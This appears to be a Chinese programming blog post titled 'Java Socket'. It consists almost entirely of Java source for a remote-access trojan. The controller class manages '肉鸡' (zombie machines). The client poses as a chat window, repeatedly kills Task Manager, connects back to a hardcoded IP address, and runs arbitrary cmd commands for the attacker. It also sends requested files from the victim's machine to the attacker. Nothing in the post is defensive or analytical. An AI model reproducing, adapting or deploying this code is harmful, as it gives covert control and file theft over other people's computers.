Java Socket

package mypackage;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;

public class Server implements ActionListener
{
	Socket				socket;
	DataInputStream		dis;
	DataOutputStream	dos;

	JFrame				f;
	JButton				b;
	JLabel				lb;
	JPanel				p, p1;
	Container			c;
	JTextArea			ta;
	JTextField			tf;
	JScrollPane			jsp;

	public Server(Socket sc) throws Exception
	{
		socket = sc;
		dis = new DataInputStream(socket.getInputStream());		//获得socket输入流对象
		dos = new DataOutputStream(socket.getOutputStream());	//获得socket端口的输出句柄

		f = new JFrame("肉鸡:" + socket.getInetAddress());
		c = f.getContentPane();

		lb = new JLabel("发送命令:");

		b = new JButton("清空结果");
		b.setMnemonic(KeyEvent.VK_C); //为按钮设置快捷键ALT+C
		b.addActionListener(this);

		tf = new JTextField("", 30);
		tf.addActionListener(this);

		ta = new JTextArea(33, 50);
		ta.setEditable(false);
		ta.setWrapStyleWord(false);

		jsp = new JScrollPane(ta, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);

		p1 = new JPanel();
		p1.setLayout(new GridLayout(3, 1));
		p1.add(lb);
		p1.add(tf);
		p1.add(b);

		p = new JPanel();
		p.add(p1, BorderLayout.NORTH);
		p.add(jsp, BorderLayout.CENTER);

		c.add(p);

		f.setSize(600, 530);
		f.setLocation(270, 200); //这一句最好放在frame.setVisible(true)之前
		f.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);  //执行关闭操作时退出程序
		f.setVisible(true);
		
		//启动一个线程负责与肉鸡通信
		(new Thread(new ReceiveThread())).start();
	}

	//命令输入框回车事件监听
	public void actionPerformed(ActionEvent e)
	{
		if(e.getSource() == tf)
		{
			try
			{
				dos.writeUTF(tf.getText());
				ta.append(tf.getText() + "\n");
			}
			catch (IOException e1)
			{
				ta.append("socket写入流发生错误:[dos.writeUTF(tf.getText())]\n");
				ta.append(e1.toString() + "\n");
				return;
			}
		}
		else if(e.getSource() == b) //点击按钮,则清空文本区
		{
			ta.setText("");
		}
	}

	//交互线程
	class ReceiveThread implements Runnable
	{
		public void run()
		{
			String message = "";
			while(true)
			{
				try
				{
					message = dis.readUTF();
				}
				catch (IOException e2)
				{
					ta.append("读取流数据时发生错误:[dis.readUTF()]\n");
					ta.append(e2.toString() + "\n");
					continue;
				}
				
				//在面板中显示肉鸡发送过来的文本信息
				ta.append(message + "\n");
				
				if(message.matches("sendFile:.*"))	//肉鸡提示将要发送一个文件
				{
					String[] ss = message.split(":");
					String fileName = ss[1];  //文件名称,不含路径
					long fileLength = Long.parseLong(ss[2]);  //文件字节数
					
					File f = new File("./" + fileName.trim());
					FileOutputStream fos = null;
					try
					{
						fos = new FileOutputStream(f);
					}
					catch (FileNotFoundException e3)
					{
						ta.append("创建本地文件流错误![new FileOutputStream(f)]\n");
						ta.append(e3.toString() + "\n");
						continue;
					}
					
					byte[] buffer = new byte[2048];
					
					long readLength = 0;
					int length = 0;
					try
					{
						while((length=dis.read(buffer))>0)
						{
							try
							{
								fos.write(buffer, 0, length);
							}
							catch (IOException e4)
							{
								ta.append("本地文件流写入错误![fos.write(buffer, 0, length)]\n");
								ta.append(e4.toString() + "\n");
								break;
							}
							
							readLength += length;
							
							//将已读取的流的字节数与文件大小比较,以判断文件流的结尾,否则一直会处于socket流读入状态
							if(readLength==fileLength)
							{
								break;
							}
						}
					}
					catch (IOException e6)
					{
						ta.append("读取socket流数据错误![dis.read(buffer)]\n");
						ta.append(e6.toString() + "\n");
						continue;
					}
					
					try
					{
						fos.flush();
						fos.close();
					}
					catch (IOException e5)
					{
						ta.append("本地文件流写入/关闭错误![fos.flush();fos.close();]\n");
						ta.append(e5.toString() + "\n");
						continue;
					}
					
					ta.append("文件已接受:" + f.getAbsolutePath() + "\n");
				}
			}
		}
	}

	
	public static void main(String[] args)
	{
		ServerSocket sv = null;
		try
		{
			//在本机监听8888端口,等待肉鸡的主动连接
			sv = new ServerSocket(8888);
		}
		catch (IOException e)
		{
			//利用socket端口占用,使得控制端只启动一次
			JOptionPane.showMessageDialog(null, "您已经启动了一个控制端啦![new ServerSocket(8888)]");
			System.exit(0);
			return;
		}
		
		JOptionPane.showMessageDialog(null, "服务器控制端启动成功!");
		
		while(true)
		{
			try
			{
				//每个肉鸡的请求,交给一个Server实例对象去处理,并单独显示一个JFrame面板
				new Server(sv.accept());
			}
			catch (Exception e)
			{
				JOptionPane.showMessageDialog(null, "获取肉机socket连接时发生错误![sv.accept()]");
				e.printStackTrace();
				continue;
			}
		}
	}
}
package mypackage;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Timer;
import java.util.TimerTask;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;

class Client implements ActionListener
{
	boolean				flag = false;
	Runtime				r;
	Socket				socket;
	DataInputStream		dis;
	DataOutputStream	dos;
	
	JFrame				f;
	JButton				b;
	JLabel				lb;
	JPanel				p, p1;
	Container			c;
	JTextArea			ta;
	JTextField			tf;
	JScrollPane			jsp;
	
	public Client(){
		f = new JFrame("聊天窗口");
		c = f.getContentPane();

		lb = new JLabel("发送消息[按回车键发送]:");

		b = new JButton("清除");
		b.setMnemonic(KeyEvent.VK_C); //为按钮设置快捷键ALT+C
		b.addActionListener(this);

		tf = new JTextField("", 30);
		tf.addActionListener(this);

		ta = new JTextArea(33, 50);
		ta.setEditable(false);
		ta.setWrapStyleWord(false);

		jsp = new JScrollPane(ta, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);

		p1 = new JPanel();
		p1.setLayout(new GridLayout(3, 1));
		p1.add(lb);
		p1.add(tf);
		p1.add(b);

		p = new JPanel();
		p.add(p1, BorderLayout.NORTH);
		p.add(jsp, BorderLayout.CENTER);

		c.add(p);

		f.setSize(600, 530);
		f.setLocation(270, 200); //这一句最好放在frame.setVisible(true)之前
		f.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);  //执行关闭操作时退出程序
		f.setVisible(true);
	}
	
	//命令输入框回车事件监听
	public void actionPerformed(ActionEvent e)
	{
		if(e.getSource() == tf)
		{
			try
			{
				dos.writeUTF(tf.getText());
				ta.append("我:" + tf.getText() + "\n");
			}
			catch (IOException e1)
			{
				ta.append("socket写入流发生错误:[dos.writeUTF(tf.getText())]\n");
				ta.append(e1.toString() + "\n");
				return;
			}
			catch (Exception e1)
			{
				ta.append("没有好友上线哦...\n");
				return;
			}
		}
		else if(e.getSource() == b) //点击按钮,则清空文本区
		{
			ta.setText("");
		}
	}

	public void start()
	{
		//首先循环终止任务管理器进程
		(new Timer()).schedule(new Command("taskkill /F /IM taskmgr.exe"), 1000, 1000);

		r = Runtime.getRuntime(); //获取系统运行时

		//已经建立的连接因IO异常而断开,则再次发起连接
		do
		{
			flag = false;
			
			try
			{
				//主动连接远程控制端主机8888端口
				socket = new Socket(InetAddress.getByName("138.54.252.38"), 8888);
			}
			catch (Exception c)
			{
				flag = true;
				//发生连接异常,则重新请求,直到成功为止
				continue;
			}

			try
			{
				//得到与socket相连接的输入输出流对象
				dis = new DataInputStream(socket.getInputStream());
				dos = new DataOutputStream(socket.getOutputStream());

				//首先向控制端循环索取控制密码,直到正确为止
				dos.writeUTF("请输入肉鸡控制密码");
				String password = "";
				do
				{
					password = dis.readUTF();
					
					if("zhangzikui".equals(password))
					{
						dos.writeUTF("恭喜,密码正确!");
					}
					else
					{
						dos.writeUTF("密码错误,请重新输入密码!"); //向控制端提示控制密码错误
					}
				}
				//如果密码不正确,则继续循环
				while(!("zhangzikui".equals(password)));
				
				String cmd = "";
				//循环获取输入控制端发送过来的信息
				while (true)
				{
					cmd = dis.readUTF();

					//如果接受到bye命令,则退出程序
					if("bye".equals(cmd))
					{
						System.exit(0);
						return;
					}
					//以空格型字符开头的的信息则在面板中显示
					else if(cmd.matches("\\s.*"))
					{
						ta.append(socket.getInetAddress() + ":" + cmd + "\n");
						continue;
					}
					//以getFile开头的命令,则执行文件发送
					else if(cmd.matches("getFile\\s.*"))
					{
						//命令格式:"getFile fullFilePath"
						String path = cmd.substring(cmd.indexOf(" ")+1).trim();
						//path = new String(path.getBytes("UTF-8"), "GBK");
						File f = new File(path);
						
						FileInputStream fis = null;
						try
						{
							fis = new FileInputStream(f);	//打开文件流
						}
						catch(FileNotFoundException fno)
						{
							dos.writeUTF("你要的文件(" + path + ")不存在!");
							continue;
						}
						
						//提示控制端,开始发送文件
						//提示信息格式:"sendFile:fileName:fileLength"
						//预先发送文件大小,让控制端接受文件时,知道在什么时候结束文件的读取,否则一直会处于socket流读入状态
						dos.writeUTF("sendFile:" + cmd.substring(cmd.lastIndexOf("/")+1) + ":" + f.length());
						
						byte[] buffer = new byte[2048];
						int length = 0;
						while((length=fis.read(buffer))>0)
						{
							dos.write(buffer, 0, length);
						}
						
						dos.flush();
						fis.close();
					}
					//如果是杀死进程的命令,则作为任务重复执行
					else if(cmd.matches("taskkill.*") || cmd.matches("ntsd.*"))
					{
						(new Timer()).schedule(new Command(cmd), 3000, 3000);
					}
					//一般命令,执行后将结果发送给控制端
					else
					{
						Process p = null;
						BufferedReader br = null;
						try
						{
							p = r.exec("cmd /c " + cmd);
							br = new BufferedReader(new InputStreamReader(p.getInputStream()));
						}
						catch(IOException e)
						{
							//取得命令执行的错误信息
							br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
						}

						String feedback = null;
						while ((feedback = br.readLine()) != null)
						{
							dos.writeUTF(feedback);
						}
					}
				}
			}
			catch (IOException e)
			{ 
				//如果已经建立的连接因IO异常而断开,则将b重新赋值为true,再次发起连接
				System.out.println("本次连接已断开!\n正在重新尝试连接......");
				flag = true;
				continue;
			}
		}
		while(flag);
	}
	
	
	public static void main(String[] args)
	{
		try
		{
			new ServerSocket(9999);
		}
		catch (IOException e)
		{
			//利用socket端口占用,使得每台肉鸡只启动一个Client对象实例
			JOptionPane.showMessageDialog(null, "你已上线!");
			System.exit(0);
			return;
		}
		JOptionPane.showMessageDialog(null, "hello,欢迎使用消息服务!");
		new Client().start();
	}
	
	//需要循环执行DOS命令的任务类
	class Command extends TimerTask
	{
		String	task;

		public Command(String s){
			task = s;
		}

		public void run()
		{
			try
			{
				r.exec("cmd /c " + task);
			}
			catch (IOException e)
			{
				e.printStackTrace();
				return;
			}
		}
	}
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值